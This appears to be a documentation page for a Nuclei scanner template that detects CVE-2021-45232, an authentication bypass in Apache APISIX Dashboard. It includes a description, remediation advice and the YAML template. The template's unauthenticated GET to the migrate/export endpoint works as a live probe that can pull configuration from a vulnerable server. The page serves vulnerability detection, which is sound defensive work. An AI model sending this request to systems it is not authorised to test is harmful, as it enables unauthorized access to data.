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Apache APISIX Dashboard <2.10.1 - API Unauthorized Access

ID: CVE-2021-45232

Severity: critical

Author: Mr-xn

Tags: cve2021,cve,apache,unauth,apisix

Description

Section titled “Description”

In Apache APISIX Dashboard before 2.10.1, the Manager API uses two frameworks and introduces framework droplet on the basis of framework gin.' While all APIs and authentication middleware are developed based on framework droplet, some API directly use the interface of framework gin` thus bypassing their authentication.

YAML Source

Section titled “YAML Source”
id: CVE-2021-45232


info:
  name: Apache APISIX Dashboard <2.10.1 - API Unauthorized Access
  author: Mr-xn
  severity: critical
  description: In Apache APISIX Dashboard before 2.10.1, the Manager API uses two frameworks and introduces framework `droplet` on the basis of framework `gin.' While all APIs and authentication middleware are developed based on framework `droplet`,  some API directly use the interface of framework `gin` thus bypassing their authentication.
  impact: |
    An attacker can gain unauthorized access to the API, potentially leading to data breaches or unauthorized actions.
  remediation: Upgrade to release 2.10.1 or later. Or, change the default username and password, and restrict the source IP to access the Apache APISIX Dashboard.
  reference:
    - https://apisix.apache.org/zh/blog/2021/12/28/dashboard-cve-2021-45232/
    - https://github.com/pingpongcult/CVE-2021-45232
    - https://github.com/advisories/GHSA-wcxq-f256-53xp
    - https://twitter.com/403Timeout/status/1475715079173976066
    - https://github.com/wuppp/cve-2021-45232-exp
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-45232
    cwe-id: CWE-306
    epss-score: 0.97214
    epss-percentile: 0.9983
    cpe: cpe:2.3:a:apache:apisix_dashboard:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: apisix_dashboard
  tags: cve2021,cve,apache,unauth,apisix


http:
  - method: GET
    path:
      - "{{RootURL}}/apisix/admin/migrate/export"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"Consumers":'


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d47b6104b97054b616c2ee8badce38bb5f513b0db1f5253d942644c31edb4cc0022100ebd384cf2bd7efaf35330c1cb92b0228652d42c994d100e6b26ff5c0a788f9b8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-45232.yaml"

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